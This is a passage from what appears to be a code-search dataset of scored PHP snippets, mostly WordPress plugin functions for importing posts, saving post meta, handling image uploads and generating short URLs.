(empty($path)) \n\t\t\t\t\t$filename = $this->filename;\n\t\t\t\telse\n\t\t\t\t\t$filename = basename($path);\n\t\t\t\t$my_post['post_name'] = substr($filename,0,strrpos($filename,'.'));\n\t\t\t}\n\t\t\t\n\t\t\t// post type\n\t\t\t$my_post['post_type'] = $options['type'];\n\t\t\n\t\t\tif (is_post_type_hierarchical($my_post['post_type'])) {\n\t\t\t\tif (empty($path)) \n\t\t\t\t\t$my_post['post_parent'] = $options['root_parent'];\n\t\t\t\telse {\n\t\t\t\t\t$parentdir = rtrim($this->parent_directory($path), '/');\n\t\t\t\t\t$my_post['post_parent'] = array_search($parentdir, $this->filearr);\n\t\t\t\t\tif ($my_post['post_parent'] === false)\n\t\t\t\t\t\t$my_post['post_parent'] = $options['root_parent'];\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t// date\n\t\t\tif ($options['timestamp'] == 'filemtime' && !empty($path)) {\n\t\t\t\t$date = filemtime($path);\n\t\t\t\t$my_post['post_date'] = date(\"Y-m-d H:i:s\", $date);\n\t\t\t\t$my_post['post_date_gmt'] = date(\"Y-m-d H:i:s\", $date);\n\t\t\t}\n\t\t\telse if ( $options['timestamp'] == 'customfield' ) {\n\t\t\t\t$tag = $options['date_tag']; // it's a tag\n\t\t\t\t$tagatt = $options['date_tagatt'];\n\t\t\t\t$attval = $options['date_attval'];\n\t\t\t\t$xquery = '//'.$tag;\n\t\t\t\t\tif (!empty($tagatt))\n\t\t\t\t\t\t$xquery .= '[@'.$tagatt.'=\"'.$attval.'\"]';\n\t\t\t\t\t\t$date = $xml->xpath($xquery);\n\t\t\t\t\tif (is_array($date) && isset($date[0]) && is_object($date[0])) {\n\t\t\t\t\t\tif (isset($date[0]))\n\t\t\t\t\t\t\t$stripdate = $date[0]->asXML(); // asXML() preserves HTML in content\n\t\t\t\t\t\t\t$date = strip_tags($date[0]);\n\t\t\t\t\t\t\t$date = strtotime($date);\n\t\t\t\t\t\t\t//echo $date; exit;\n\t\t\t\t\t}\n\t\t\t\t\telse { // fallback \n\t\t\t\t\t\t$date = time();\n\t\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t \t$date = time();\n\t\t\t}\n\t\t\t$my_post['post_date'] = date(\"Y-m-d H:i:s\", $date);\n\t\t\t$my_post['post_date_gmt'] = date(\"Y-m-d H:i:s\", $date);\n\n\t\t\t// content\n\t\t\tif ( $options['import_content'] == \"file\" ) { // import entire file (works well)\n\t\t\t\t$my_post['post_content'] = $this->file;\n\t\t\t}\n\t\t\telse { // it's a tag (doesn't work well)\n\t\t\t\t$tag = $options['content_tag'];\n\t\t\t\t$tagatt = $options['content_tagatt'];\n\t\t\t\t$attval = $options['content_attval'];\n\t\t\t\t\n\t\t\t\t$xquery = '//'.$tag; // e.g. //id\n\t\t\t\tif (!empty($tagatt))\n\t\t\t\t\t$xquery .= '[@'.$tagatt.'=\"'.$attval.'\"]'; // e.g. id=content\n\t\t\t\t\t$content = $xml->xpath($xquery);\n\t\t\t\t\tif (is_array($content) && isset($content[0]) && is_object($content[0]))\n\t\t\t\t\t\t$my_post['post_content'] = $content[0]->asXML(); // asXML() preserves HTML in content\n\t\t\t\t\telse { // fallback\n\t\t\t\t\t\t$content = $xml->xpath('//body');\n\t\t\t\t\t\tif (is_array($content) && isset($content[0]) && is_object($content[0]))\n\t\t\t\t\t\t\t$my_post['post_content'] = $content[0]->asXML();\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$my_post['post_content'] = '';\n\t\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif ($options['title_inside'])\n\t\t\t\t$my_post['post_content'] = str_replace($title, '', $my_post['post_content']);\n\t\t\t\n\t\t\tif (!empty($my_post['post_content'])) {\n\t\t\t\tif (!empty($options['clean_html']))\n\t\t\t\t\t$my_post['post_content'] = $this->clean_html($my_post['post_content'], $options['allow_tags'], $options['allow_attributes']);\n\t\t\t}\n\t\t\t\n\t\t\t// custom fields\n\t\t\t$customfields = array();\n\t\t\tforeach ($options['customfield_name'] as $index => $fieldname) {\n\t\t\t\tif (!empty($fieldname)) { // it's a tag\n\t\t\t\t\t$tag = $options['customfield_tag'][$index];\n\t\t\t\t\t$tagatt = $options['customfield_tagatt'][$index];\n\t\t\t\t\t$attval = $options['customfield_attval'][$index];\n\t\t\t\t\t$xquery = '//'.$tag;\n\t\t\t\t\tif (!empty($tagatt))\n\t\t\t\t\t\t$xquery .= '[@'.$tagatt.'=\"'.$attval.'\"]';\n\t\t\t\t\t\t$content = $xml->xpath($xquery);\n\t\t\t\t\t\tif (is_array($content) && isset($content[0]) && is_object($content[0]))\n\t\t\t\t\t\t\t$customfields[$fieldname] = strip_tags($content[0]);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// excerpt\n\t\t\t$excerpt = $options['meta_desc'];\n\t\t\tif (!empty($excerpt)) {\n\t\t\t\t$my_post['post_excerpt'] = $xml->xpath('//meta[@name=\"description\"]');\n\t\t\t\tif (isset($my_post['post_excerpt'][0]))\n\t\t\t\t\t$my_post['post_excerpt'] = $my_post['post_excerpt'][0]['content'];\n\t\t\t\tif (is_array($my_post['post_excerpt']))\n\t\t\t\t\t$my_post['post_excerpt'] = implode('',$my_post['post_excerpt']);\n\t\t\t\t$my_post['post_excerpt'] = (string)$my_post['post_excerpt'];\n\t\t\t}\n\t\t\t\n\t\t\t// status\n\t\t\t$my_post['post_status'] = $options['status'];\n\t\t\t\n\t\t\t// author\n\t\t\t$my_post['post_author'] = $options['user'];\n\t\t}\n\t\t\n\t\t// if it's a single file, we can use a substitute for $path from here on\n\t\tif (empty($path)) $handle = __(\"the uploaded file\", 'import-from-copysniper');\n\t\telse $handle = $path;\n\t\t\n\t\t// see if the post already exists\n\t\t// but don't bother printing this message if we're doing an index file; we know its parent already exists\n\t\tif ($post_id = post_exists($my_post['post_title'], $my_post['post_content'], $my_post['post_date']) && basename($path) != $options['index_file'])\n\t\t\t$this->table[] = \"<tr><th class='error'>--</th><td colspan='3' class='error'> \" . sprintf(__(\"%s (%s) has already been imported\", 'import-from-copysniper'), $my_post['post_title'], $handle) . \"</td></tr>\";\n\t\t\n\t\t// if we're doing hierarchicals and this is an index file of a subdirectory, instead of importing this as a separate page, update the content of the placeholder page we created for the directory\n\t\t$index_files = explode(',',$options['index_file']);\n\t\tif (is_post_type_hierarchical($options['type']) && dirname($path) != /*$options['root_directory']*/ $this->importPath && in_array(basename($path), $index_files) ) {\n\t\t\t$post_id = array_search(dirname($path), $this->filearr);\n\t\t\tif ($post_id !== 0)\n\t\t\t\t$updatepost = true;\n\t\t}\n\t\t\n\t\tif ($updatepost) { \n\t\t\t$my_post['ID'] = $post_id; \n\t\t\twp_update_post( $my_post );\n\t\t}\n\t\telse // insert new post\n\t\t\t$post_id = wp_insert_post($my_post);\n\t\t\n\t\t// handle errors\n\t\tif ( is_wp_error( $post_id ) )\n\t\t\t$this->table[] = \"<tr><th class='error'>--</th><td colspan='3' class='error'> \" . $post_id /* error msg */ . \"</td></tr>\";\n\t\tif (!$post_id) \n\t\t\t$this->table[] = \"<tr><th class='error'>--</th><td colspan='3' class='error'> \" . sprintf(__(\"Could not import %s. You should copy its contents manually.\", 'import-from-copysniper'), $handle) . \"</td></tr>\";\n\t\t\n\t\t// if no errors, handle custom fields\n\t\tif (isset($customfields)) {\n\t\t\tforeach ($customfields as $fieldname => $fieldvalue) {\n\t\t\t\t// allow user to set tags via custom field named 'post_tag'\n\t\t\t\tif ($fieldname == 'post_tag')\n\t\t\t\t\t$customfieldtags = $fieldvalue;\n\t\t\t\telse\n\t\t\t\t\tadd_post_meta($post_id, $fieldname, $fieldvalue, true);\n\t\t\t}\n\t\t}\n\t\t\n\t\t// ... and all the taxonomies...\n\t\t$taxonomies = get_taxonomies( array( 'public' => true ), 'objects', 'and' );\n\t\tforeach ( $taxonomies as $tax ) {\n\t\t\tif (isset($options[$tax->name]))\n\t\t\t\twp_set_post_terms( $post_id, $options[$tax->name], $tax->name, false);\n\t\t}\n\t\tif (isset($customfieldtags))\n\t\t\twp_set_post_terms( $post_id, $customfieldtags, 'post_tag', false);\n\t\t\n\t\t// ...and set the page template, if any\n\t\tif (isset($options['page_template']) && !empty($options['page_template']))\n\t\t\tadd_post_meta($post_id, '_wp_page_template', $options['page_template'], true);\n\t\t\n\t\t// store path so we can check for parents later (even if it's empty; need that info for image imports). \n\t\t// Don't store the index file updates; they'll screw up the parent search, and they can use their parents' path anyway\n\t\tif (!$updatepost)\n\t\t\t$this->filearr[$post_id] = $path;\n\t\telse { // index files will have an incomplete hierarchy if there were empty directories in their path\n\t\t\t$this->fix_hierarchy($post_id, $path);\n\t\t}\n\t\t\n\t\t// create the results table row AFTER fixing hierarchy\n\t\tif (!empty($path)) {\n\t\t\tif (empty($my_post['post_title']))\n\t\t\t\t$my_post['post_title'] = __('(no title)', 'import-from-copysniper');\n\t\t\t\t$this->table[$post_id] = '<tr><th>' . $post_id . '</th><td><a href=\"post.php?action=edit&post=' . $post_id . '\">' . esc_html($my_post['post_title']) . '</a></td></tr>';\n\t\t}\n\t\telse {\n\t\t\t$this->single_result = sprintf( __('Imported the file as %s.', 'import-from-copysniper'), '<a href=\"post.php?action=edit&post=' . $post_id . '\">' . $my_post['post_title'] . '</a>');\n\t\t}\n\t}", "title": "" }, { "docid": "fb2e5ebb3309c284c1eb407a6cc3c10d", "score": "0.54351866", "text": "public function saving(Post $post)\n {\n $post->title = $this->cleanText($post->title);\n $post->description = $this->cleanText($post->description);\n }", "title": "" }, { "docid": "fa6f5109c2a50af7b9bcd42fd8c67779", "score": "0.5431743", "text": "public function save_post($post_id)\n {\n }", "title": "" }, { "docid": "fc40c8b36b50695a451cf92bbbc7247b", "score": "0.5426498", "text": "public function _save( $post_id ) {\n\t\t$real_post_id = isset( $_POST['post_ID'] ) ? $_POST['post_ID'] : null;\n\n\t\t// check autosave\n\t\tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE && ! $this->autosave ) return $post_id;\n\n\t\t// make sure data came from our meta box, verify nonce\n\t\t$nonce = isset( $_POST[$this->id.'_nonce'] ) ? $_POST[$this->id.'_nonce'] : null;\n\t\tif ( ! wp_verify_nonce( $nonce, $this->id ) ) return $post_id;\n\n\t\t// check user permissions\n\t\tif ( $_POST['post_type'] == 'page' ) {\n\t\t\tif ( ! current_user_can( 'edit_page', $post_id ) ) {\n\t\t\t\treturn $post_id;\n\t\t\t}\n\t\t} else {\n\t\t\tif ( ! current_user_can( 'edit_post', $post_id ) ) {\n\t\t\t\treturn $post_id;\n\t\t\t}\n\t\t}\n\n\t\t// authentication passed, save data\n\n\t\t$new_data = isset( $_POST[$this->id] ) ? $_POST[$this->id] : null;\n\n\t\tself::clean( $new_data );\n\n\t\tif ( empty( $new_data ) ) {\n\t\t\t$new_data = null;\n\t\t}\n\n\t\t// filter: save\n\t\tif ( $this->has_filter( 'save' ) ) {\n\t\t\t$new_data = $this->apply_filters( 'save', $new_data, $real_post_id );\n\n\t\t\t// halt saving\n\t\t\tif ( false === $new_data )\n\t\t\t\treturn $post_id;\n\n\t\t\tself::clean( $new_data );\n\t\t}\n\n\t\t// get current fields, use $real_post_id ( checked for in both modes )\n\t\t$current_fields = get_post_meta( $real_post_id, $this->id . '_fields', true );\n\n\t\tif ( $this->mode == WPALCHEMY_MODE_EXTRACT ) {\n\t\t\t$new_fields = array();\n\n\t\t\tif ( is_array( $new_data ) ) {\n\t\t\t\tforeach ( $new_data as $k => $v ) {\n\t\t\t\t\t$field = $this->prefix . $k;\n\n\t\t\t\t\tarray_push( $new_fields, $field );\n\n\t\t\t\t\t$new_value = $new_data[$k];\n\n\t\t\t\t\tif ( is_null( $new_value ) ) {\n\t\t\t\t\t\tdelete_post_meta( $post_id, $field );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tupdate_post_meta( $post_id, $field, $new_value );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$diff_fields = array_diff( (array )$current_fields, $new_fields );\n\n\t\t\tif ( is_array( $diff_fields ) ) {\n\t\t\t\tforeach ( $diff_fields as $field ) {\n\t\t\t\t\tdelete_post_meta( $post_id, $field );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tdelete_post_meta( $post_id, $this->id . '_fields' );\n\n\t\t\tif ( ! empty( $new_fields ) ) {\n\t\t\t\tadd_post_meta( $post_id, $this->id . '_fields', $new_fields, true );\n\t\t\t}\n\n\t\t\t// keep data tidy, delete values if previously using WPALCHEMY_MODE_ARRAY\n\t\t\tdelete_post_meta( $post_id, $this->id );\n\t\t} else {\n\t\t\tif ( is_null( $new_data ) ) {\n\t\t\t\tdelete_post_meta( $post_id, $this->id );\n\t\t\t} else {\n\t\t\t\tupdate_post_meta( $post_id, $this->id, $new_data );\n\t\t\t}\n\n\t\t\t// keep data tidy, delete values if previously using WPALCHEMY_MODE_EXTRACT\n\t\t\tif ( is_array( $current_fields ) ) {\n\t\t\t\tforeach ( $current_fields as $field ) {\n\t\t\t\t\tdelete_post_meta( $post_id, $field );\n\t\t\t\t}\n\n\t\t\t\tdelete_post_meta( $post_id, $this->id . '_fields' );\n\t\t\t}\n\t\t}\n\n\t\t// action: save\n\t\tif ( $this->has_action( 'save' ) ) {\n\t\t\t$this->do_action( 'save', $new_data, $real_post_id );\n\t\t}\n\n\t\treturn $post_id;\n\t}", "title": "" }, { "docid": "511c390eb09e377032ed66c41fea3476", "score": "0.5425744", "text": "public function bulk_and_quick_edit_save_post( $post_id, $post ) {\n\n\t\t// If this is an autosave, our form has not been submitted, so we don't want to do anything.\n\t\tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {\n\t\t\treturn $post_id;\n\t\t}\n\n\t\t// Don't save revisions and autosaves\n\t\tif ( wp_is_post_revision( $post_id ) || wp_is_post_autosave( $post_id ) ) {\n\t\t\treturn $post_id;\n\t\t}\n\n\t\t// Check post type is product\n\t\tif ( 'dlm_download' != $post->post_type ) {\n\t\t\treturn $post_id;\n\t\t}\n\n\t\t// Check user permission\n\t\tif ( ! current_user_can( 'manage_downloads', $post_id ) ) {\n\t\t\treturn $post_id;\n\t\t}\n\n\t\t// handle bulk\n\t\tif ( isset( $_REQUEST['dlm_bulk_edit_nonce'] ) ) {\n\n\t\t\t// check nonce\n\t\t\tif ( ! wp_verify_nonce( $_REQUEST['dlm_bulk_edit_nonce'], 'dlm_bulk_edit_nonce' ) ) {\n\t\t\t\treturn $post_id;\n\t\t\t}\n\n\t\t\t// set featured\n\t\t\tif ( isset( $_REQUEST['_featured'] ) ) {\n\t\t\t\tupdate_post_meta( $post_id, '_featured', 'yes' );\n\t\t\t}\n\n\t\t\t// set members only\n\t\t\tif ( isset( $_REQUEST['_members_only'] ) ) {\n\t\t\t\tupdate_post_meta( $post_id, '_members_only', 'yes' );\n\t\t\t}\n\n\t\t\t// set redirect only\n\t\t\tif ( isset( $_REQUEST['_redirect_only'] ) ) {\n\t\t\t\tupdate_post_meta( $post_id, '_redirect_only', 'yes' );\n\t\t\t}\n\n\t\t}\n\n\t\t// handle quick\n\t\tif ( isset( $_REQUEST['dlm_quick_edit_nonce'] ) ) {\n\n\t\t\t// check nonce\n\t\t\tif ( ! wp_verify_nonce( $_REQUEST['dlm_quick_edit_nonce'], 'dlm_quick_edit_nonce' ) ) {\n\t\t\t\treturn $post_id;\n\t\t\t}\n\n\t\t\t// set featured\n\t\t\tif ( isset( $_REQUEST['_featured'] ) ) {\n\t\t\t\tupdate_post_meta( $post_id, '_featured', 'yes' );\n\t\t\t} else {\n\t\t\t\tupdate_post_meta( $post_id, '_featured', 'no' );\n\t\t\t}\n\n\t\t\t// set members only\n\t\t\tif ( isset( $_REQUEST['_members_only'] ) ) {\n\t\t\t\tupdate_post_meta( $post_id, '_members_only', 'yes' );\n\t\t\t} else {\n\t\t\t\tupdate_post_meta( $post_id, '_members_only', 'no' );\n\t\t\t}\n\n\t\t\t// set redirect only\n\t\t\tif ( isset( $_REQUEST['_redirect_only'] ) ) {\n\t\t\t\tupdate_post_meta( $post_id, '_redirect_only', 'yes' );\n\t\t\t} else {\n\t\t\t\tupdate_post_meta( $post_id, '_redirect_only', 'no' );\n\t\t\t}\n\n\t\t}\n\n\t\treturn $post_id;\n\t}", "title": "" }, { "docid": "646259ba38db49390683d1fc16bdbe08", "score": "0.5424496", "text": "function insert_post_data( array $data, array $postarr ) {\n\tglobal $wpdb;\n\t$data = wp_unslash( $data );\n\n\tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {\n\t\t// Do not do anything if this is an autosave.\n\t\treturn wp_slash( $data );\n\t}\n\n\tif ( defined( 'DOING_CRON' ) && DOING_CRON ) {\n\t\t// Or if it's a cron job.\n\t\treturn wp_slash( $data );\n\t}\n\n\tif ( ! isset( $postarr['action'] ) || $postarr['action'] !== 'editpost' ) {\n\t\t// Or if it's not saving from the edit form.\n\t\treturn wp_slash( $data );\n\t}\n\n\t$post_content = trim( $data['post_content'] );\n\n\tif ( $data['post_type'] !== 'pwcc_notes' || $post_content ) {\n\t\t// Do nothing if it's not a note or post_content is filled.\n\t\treturn wp_slash( $data );\n\t}\n\n\tif ( ! isset( $postarr['_pwccindieweb-note']['cmb-group-0'] ) ) {\n\t\t// Somethings gone wrong.\n\t\treturn wp_slash( $data );\n\t}\n\n\t$note_content = trim( $postarr['_pwccindieweb-note']['cmb-group-0']['text']['cmb-field-0'] );\n\t$attachments = $postarr['_pwccindieweb-note']['cmb-group-0']['images'];\n\n\t// Set the post content to the note content.\n\t$data['post_content'] = wp_unslash( $note_content );\n\n\t// Links ought to be clickable.\n\t$data['post_content'] = make_clickable( $data['post_content'] );\n\n\t// As should Twitter handles.\n\t$data['post_content'] = preg_replace(\n\t\t'/(^|\\s)@([a-z0-9_]+)/i',\n\t\t'$1<a href=\"https://twitter.com/$2\">@$2</a>',\n\t\t$data['post_content']\n\t);\n\n\t// Images? Append them to the post.\n\t$gallery = array_filter( $attachments, 'wp_attachment_is_image' );\n\n\tif ( ! empty( $gallery ) ) {\n\t\t/*\n\t\t * Insert the images as a gallery.\n\t\t *\n\t\t * Images uploaded via the iPhone are often upside down,\n\t\t * inserting this content as a gallery allows the images to be\n\t\t * rotated without the need to edit the post too.\n\t\t */\n\n\t\t$shortcode = '[gallery ';\n\t\t$shortcode .= 'columns=\"1\" ';\n\t\t$shortcode .= 'size=\"full\" ';\n\t\t$shortcode .= 'link=\"none\" ';\n\t\t$shortcode .= 'ids=\"' . join( ',', $gallery ) . '\"]';\n\n\t\t$data['post_content'] .= \"\\n\\n${shortcode}\";\n\t}\n\n\t// Emojify fields.\n\t$emoji_fields = [ 'post_content' ];\n\n\tforeach ( $emoji_fields as $emoji_field ) {\n\t\tif ( isset( $data[ $emoji_field ] ) ) {\n\t\t\t$charset = $wpdb->get_col_charset( $wpdb->posts, $emoji_field );\n\t\t\tif ( $charset === 'utf8' ) {\n\t\t\t\t$data[ $emoji_field ] = wp_encode_emoji( $data[ $emoji_field ] );\n\t\t\t}\n\t\t}\n\t}\n\n\treturn wp_slash( $data );\n}", "title": "" }, { "docid": "2c166b9851c1381b52ed6eab47884651", "score": "0.54227483", "text": "function g3_schedules_save_postdata( $post_id ) {\n\n\t// verify this came from the our screen and with proper authorization,\n\t// because save_post can be triggered at other times\n\n\tif ( !wp_verify_nonce( $_POST['g3_schedules_nonce'], plugin_basename(__FILE__) )) {\n\t\treturn $post_id;\n\t}\n\n\t// verify if this is an auto save routine. If it is our form has not been submitted, so we dont want\n\t// to do anything\n\tif ( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) {\n\t\treturn $post_id;\n\t}\n \n\t// Check permissions\n\tif ( !current_user_can( 'edit_post', $post_id ) ) {\n\t\treturn $post_id;\n\t}\n\n\t// OK, we're authenticated: we need to find and save the data\n\n\t// do we have an upload?\n\tif(isset($_FILES['g3_schedules_image']) && ($_FILES['g3_schedules_image']['size'] > 0)) {\n\t\t$arr_file_type = wp_check_filetype(basename($_FILES['g3_schedules_image']['name']));\n\t\t$uploaded_file_type = $arr_file_type['type'];\n\n\t\t// Set an array containing a list of acceptable formats\n\t\t$allowed_file_types = array('image/jpg','image/jpeg','image/gif','image/png');\n\n\t\t// If the uploaded file is the right format\n\t\tif(in_array($uploaded_file_type, $allowed_file_types)) {\n\n\t\t\t// Options array for the wp_handle_upload function. 'test_upload' => false\n\t\t\t$upload_overrides = array( 'test_form' => false ); \n\n\t\t\t// Handle the upload using WP's wp_handle_upload function. Takes the posted file and an options array\n\t\t\t$uploaded_file = wp_handle_upload($_FILES['g3_schedules_image'], $upload_overrides);\n\n\t\t\t// If the wp_handle_upload call returned a local path for the image\n\t\t\tif(isset($uploaded_file['file'])) {\n\n\t\t\t\t// The wp_insert_attachment function needs the literal system path, which was passed back from wp_handle_upload\n\t\t\t\t$file_name_and_location = $uploaded_file['file'];\n\n\t\t\t\t// Generate a title for the image that'll be used in the media library\n\t\t\t\t$file_title_for_media_library = get_the_title($post_id) . '(' . basename($file_name_and_location) . ')';\n\n\t\t\t\t// Set up options array to add this file as an attachment\n\t\t\t\t$attachment = array(\n\t\t\t\t\t'post_mime_type' => $uploaded_file_type,\n\t\t\t\t\t'post_title' => 'G3 Schedule Image: ' . addslashes($file_title_for_media_library),\n\t\t\t\t\t'post_content' => '',\n\t\t\t\t\t'post_status' => 'inherit'\n\t\t\t\t);\n\n\t\t\t\t// Run the wp_insert_attachment function. This adds the file to the media library and generates the thumbnails. \n\t\t\t\t// If you wanted to attch this image to a post, you could pass the post id as a third param and it'd magically happen.\n\t\t\t\t$attach_id = wp_insert_attachment( $attachment, $file_name_and_location );\n\t\t\t\trequire_once(ABSPATH . \"wp-admin\" . '/includes/image.php');\n\t\t\t\t$attach_data = wp_generate_attachment_metadata( $attach_id, $file_name_and_location );\n\t\t\t\twp_update_attachment_metadata($attach_id, $attach_data);\n\n\t\t\t\t// Before we update the post meta, trash any previously uploaded image for this post.\n\t\t\t\t$existing_uploaded_image = (int) get_post_meta($post_id,'g3_schedules_image_id', true);\n\t\t\t\tif(is_numeric($existing_uploaded_image)) {\n\t\t\t\t\twp_delete_attachment($existing_uploaded_image);\n\t\t\t\t}\n\n\t\t\t\t// Now, update the post meta to associate the new image with the post\n\t\t\t\tupdate_post_meta($post_id,'g3_schedules_image_id',$attach_id);\n\n\t\t\t\t// Set the feedback flag to false, since the upload was successful\n\t\t\t\t$upload_feedback = false;\n\n\n\t\t\t} else { // wp_handle_upload returned some kind of error. the return does contain error details, so you can use it here if you want.\n\n\t\t\t\t$upload_feedback = 'There was a problem with your upload.';\n\t\t\t\tupdate_post_meta($post_id,'g3_schedules_image_id',$attach_id);\n\n\t\t\t}\n\n\t\t} else { // wrong file type\n\n\t\t\t$upload_feedback = 'Please upload only image files (jpg, gif or png).';\n\t\t\tupdate_post_meta($post_id,'g3_schedules_image_id',$attach_id);\n\n\t\t}\n\n\t}\n\n\t$data = array();\n\tif($attachid) {\n\t\t$data['g3_schedules_image_id'] = $attach_id;\n\t}\n\tif($_POST['g3_schedules_image_delete']) {\n\t\tdelete_post_meta($post_id,'g3_schedules_image_id');\n\t}\n\t$data['g3_schedules_image_status'] = $upload_feedback;\n\tupdate_post_meta($post_id,'g3_schedules_image_status',$upload_feedback);\n\t$data['g3_schedules_link'] = $_POST['g3_schedules_link'];\n\tupdate_post_meta($post_id, 'g3_schedules_link', $data['g3_schedules_link']);\n\t$data['g3_schedules_day'] = $_POST['g3_schedules_day'];\n\tupdate_post_meta($post_id, 'g3_schedules_day', $data['g3_schedules_day']);\n\t$data['g3_schedules_start'] = $_POST['g3_schedules_start'];\n\tupdate_post_meta($post_id, 'g3_schedules_start', $data['g3_schedules_start']);\n\t$data['g3_schedules_end'] = $_POST['g3_schedules_end'];\n\tupdate_post_meta($post_id, 'g3_schedules_end', $data['g3_schedules_end']);\n\treturn $data;\n}", "title": "" }, { "docid": "437fa1b4f79492900e51758848b5f8d0", "score": "0.5422382", "text": "private function import_seopressor_post_settings($post_id)\n {\n }", "title": "" }, { "docid": "95bacc67a7006540e15ef0308c05fdb6", "score": "0.54202974", "text": "function presave_process( $content ) {\r\n\r\n \t\tglobal $CFG;\r\n\t\t$xp = \"Moodle Referentiel CSV Export\\n\";\r\n\t\t$xp .= $content;\r\n \t\treturn $xp;\r\n\t}", "title": "" }, { "docid": "95bacc67a7006540e15ef0308c05fdb6", "score": "0.54202974", "text": "function presave_process( $content ) {\r\n\r\n \t\tglobal $CFG;\r\n\t\t$xp = \"Moodle Referentiel CSV Export\\n\";\r\n\t\t$xp .= $content;\r\n \t\treturn $xp;\r\n\t}", "title": "" }, { "docid": "9b2f3c2c384ad0d741918e3217ed9e83", "score": "0.5419236", "text": "function save_post( $post_id, $post ) {\n\n\t\tif( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE )\n\t\t\treturn;\n\n\t\tif ( ! bitly_is_url_generation_enabled() )\n\t\t\treturn;\n\n\t\t// only save short urls for the following post types\n\t\tif( !post_type_supports( $post->post_type, 'bitly' ) )\n\t\t\treturn;\n\n\t\t// all good, lets make a url\n\t\t$this->generate_bitly_url( $post_id );\n\t}", "title": "" }, { "docid": "018dd96ddf303ed2af8230439c9625e1", "score": "0.54191947", "text": "function fitcash_import_articles_generic()\r\n{\r\n $url = fitcash_build_url();\r\n $count_posts = fitcash_get_option('fitcash_count_post_first_import');\r\n \r\n $no_of_imported_posts = fitcash_process_content($url, $count_posts);\r\n\r\n return;\r\n}", "title": "" }, { "docid": "040553db103b7c71ae949d3037b65626", "score": "0.5415997", "text": "public function save_post() {\n\t\t$this->pathway = new \\TheTrainingMangerLMS\\Pathway();\n\t\tif ( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif( get_post_type() != ttp_lms_post_prefix(\\TheTrainingMangerLMS\\Constants::PathwayPostType) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tremove_action( 'save_post', array( $this, 'save_post' ) );\n\t\tforeach( $this->pathway->field_array as $field ) {\n\n\t\t\tif( 'title' == $field || 'description_long' == $field ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif( 'list_of_courses' == $field ) {\n\t\t\t\tif( $this->test_has_value( $_POST[$field] ) ) {\n\t\t\t\t\t$value = explode( ',', $_POST[$field] );\n\t\t\t\t\t$this->pathway->set( $field, $value );\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif( 'force_ordered_progression' == $field ) {\n\t\t\t\tif( $this->test_has_value( $_POST[$field] ) ) {\n\t\t\t\t\t$value = $_POST[$field];\n\t\t\t\t\tif( 'true' == strtolower( $value ) ) {\n\t\t\t\t\t\t$this->pathway->set( $field, true);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$this->pathway->set( $field, false );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif( $this->test_has_value( $_POST[$field] ) ) {\n\t\t\t\t$this->pathway->set( $field, $_POST[$field] );\n\t\t\t}\n\t\t}\n\t\tadd_action( 'save_post', array( $this, 'save_post' ), 10, 1 );\n\t}", "title": "" } ]
70601a326c9124a876748ccb4d07e264
Set VayantConfig value This property is removable from request (nillable=true+minOccurs=0), therefore if the value assigned to this property is null, it is removed from this object
[ { "docid": "886cfb21fc23a1a51a9d68190120d4c3", "score": "0.64936876", "text": "public function setVayantConfig(\\Fincallorca\\HitchHikerApi\\Wsdl\\v3_1_388_1\\StructType\\Vayant $vayantConfig = null)\n {\n if (is_null($vayantConfig) || (is_array($vayantConfig) && empty($vayantConfig))) {\n unset($this->VayantConfig);\n } else {\n $this->VayantConfig = $vayantConfig;\n }\n return $this;\n }", "title": "" } ]
[ { "docid": "12d8fb8bbd71170911e8017122cf733b", "score": "0.55915743", "text": "public function getVayantConfig()\n {\n return isset($this->VayantConfig) ? $this->VayantConfig : null;\n }", "title": "" }, { "docid": "6b4b528f7637906d303229cd65e91d1e", "score": "0.5515213", "text": "public function setTaxvatAttribute($value)\n {\n $this->attributes['taxvat'] = empty($value) ? null : $value;\n }", "title": "" }, { "docid": "05b378c5240208058fe9502d98ac3583", "score": "0.5369519", "text": "public function setConfigValue() {\n $this->requireTransaction();\n $session = $this->getSession();\n $request = $this->getRequest();\n $response = $this->getResponse();\n $persistenceFacade = $this->getPersistenceFacade();\n\n // load model\n $authUser = $this->principalFactory->getUser($session->getAuthUser());\n if ($authUser) {\n $configKey = $request->getValue('name');\n $configValue = $request->getValue('value');\n\n // find configuration\n $configObj = null;\n $configList = Node::filter($authUser->getValue('UserConfig'), null, null,\n ['name' => $configKey]);\n if (sizeof($configList) > 0) {\n $configObj = $configList[0];\n }\n else {\n $configObj = $persistenceFacade->create('UserConfig');\n $configObj->setValue('name', $configKey);\n $authUser->addNode($configObj);\n }\n\n // set value\n if ($configObj != null) {\n $configObj->setValue('value', $configValue);\n }\n }\n\n // success\n $response->setAction('ok');\n }", "title": "" }, { "docid": "3a40c42211471d68d554e7f1f1ed45f1", "score": "0.5218728", "text": "public function setVaue($value) {\r\n $this->value = $value;\r\n }", "title": "" }, { "docid": "b9112c4f93d7c25fdc111d69d047ea87", "score": "0.5066627", "text": "function setConfigPath($vPath) {\n\t\t\t## is there a weay to check if the path exists\n\t\t\t$this->config_path = $vPath;\n\t\t}", "title": "" }, { "docid": "b9f5930c419ea277fc87a5865eee3863", "score": "0.5035754", "text": "public function setConfig($value)\n {\n $this->_config = array_merge($this->_config, $value);\n }", "title": "" }, { "docid": "efe520a1ed86083bd1cd100f9963a29b", "score": "0.502464", "text": "public function set_vat_value( 